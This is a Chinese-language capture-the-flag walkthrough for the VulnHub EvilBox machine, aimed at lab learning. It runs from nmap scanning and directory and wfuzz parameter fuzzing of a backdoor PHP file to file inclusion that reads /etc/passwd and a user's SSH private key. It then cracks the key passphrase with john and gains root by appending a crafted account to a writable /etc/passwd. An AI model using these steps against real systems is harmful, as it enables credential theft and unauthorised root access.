0x00 靶机介绍
0x01 信息收集
步骤一:ip探测
步骤二:端口服务识别
oot@kali:~/baji/vulnhub/EvilBOx# nmap -sC -sV -A -p- 192.168.56.116 -o port.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-07 14:28 CST
Nmap scan report for 192.168.56.116
Host is up (0.00044s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 44:95:50:0b:e4:73:a1:85:11:ca:10:ec:1c:cb:d4:26 (RSA)
| 256 27:db:6a:c7:3a:9c:5a:0e:47:ba:8d:81:eb:d6:d6:3c (ECDSA)
|_ 256 e3:07:56:a9:25:63:d4:ce:39:01:c1:9a:d9:fe:de:64 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 08:00:27:7D:E3:62 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6, Linux 5.0 - 5.3
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.44 ms 192.168.56.116
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.73 seconds
开放 22 80 端口 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 80/tcp open http Apache httpd 2.4.38 ((Debian))
默认 apache配置页面 可以目录爆破
步骤三:目录爆破
[14:30:04] 200 - 12B - /robots.txt [14:30:04] 200 - 4B - /secret/ [14:30:05] 301 - 317B - /secret -> http://192.168.56.116/secret/
可以在枚举 secret目录
python3 dirsearch.py -u "http://192.168.56.116/secret" -e "*"
0x02 漏洞挖掘
步骤一:查看/secret/evil.php 页面
没有数据 evil 为邪恶的 有毒的 大概就是后门的意思 所以 可能是 代码执行 命令执行 文件包含 等后门 wfuzz 枚举
步骤二:wfuzz枚举后门参数
猜测为文件包含后门(成功)
wfuzz FUZZ为要fuzz的参数 后边直接加上/etc/passwd grep -v 排除 0 Ch 的内容
wfuzz -c -w /root/zidian/fuzzDicts-master/paramDict/php.txt -u http://192.168.56.116/secret/evil.php?FUZZ=/etc/passwd | grep -v "0 Ch"
步骤三:查看/etc/passwd文件
存在mowree 可以登录 想办法登录进去 去看看有没有 ssh公钥
步骤四:查看.ssh/id_rsa私钥文件
步骤五:利用私钥登录
(1)直接登录 发现需要密码
chmod 600 ./id_rsa
ssh mowree@192.168.56.116 -i ./id_rsa
需要爆破私钥登录的密码
(2) 将私钥保存到本地
curl wget http://192.168.7.100/secret/evil.php?command=/home/mowree/.ssh/id_rsa >> id_rsa
(3)用 ssh2john 将id_rsa秘钥信息转换为john可以识别的信息
python3 /usr/share/john/ssh2john.py id_rsa >crack.txt
(4)john爆破
获取到一个unicorn 密码
(4)ssh私钥登录(成功)
ssh mowree@192.168.56.116 -i ./id_rsa unicorn
拿到第一个flag
56Rbp0soobpzWSVzKh9YOvzGLgtPZQ
0x03 提权
步骤一 :找可利用点(passwd有写入权限)
翻文件发现 ls -al /etc/passwd 有写入权限
直接写入 root权限的用户即可
步骤二:openssl 生成密码
mowree@EvilBoxOne:~$ openssl passwd -1 123456
$1$Nu2rm2O8$GpQ5CebG16r7RbLNmFQdO/
步骤三:将生成的密码拼接到root中
mowree@EvilBoxOne:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
可以将 root 任意改一个名字 比如 kaifa x 改为生成的密码
即为
kaifa:$1$Nu2rm2O8$GpQ5CebG16r7RbLNmFQdO/:0:0:root:/root:/bin/bash
步骤三:写入到/etc/passwd文件中
vi /etc/passwd 写入
cat /etc/passwd 查看是否写入成功
步骤四:su切换kaifa账户
su kaifa 123456 切换root权限成功
0x04 总结
本次靶机通过 1.目录枚举 (注意需要收集字典) 出目录再枚举 出一个后门文件evil.php
2.通过猜测后门类型 +wfuzz wfuzz出参数 command
3.只有文件包含 想要getshell
1. 配合文件上传
2. 远程文件包含getshell
3. 想思路比如(看看有什么账号,该账号有没有ssh私钥 .ssh/id_rsa)
去包含一下看看 有的话 下载到本地 可以用私钥登录,有密码的话 爆破私钥登录密码。
- 登录后 提权 内核漏洞 失败, suid 没找到 sudo 也没有
翻翻文件 发现 /etc/passwd 任意用户组都有可以写入权限 openssl生成密码 写入一个root用户权限的账号 直接su 账号 获取root权限
|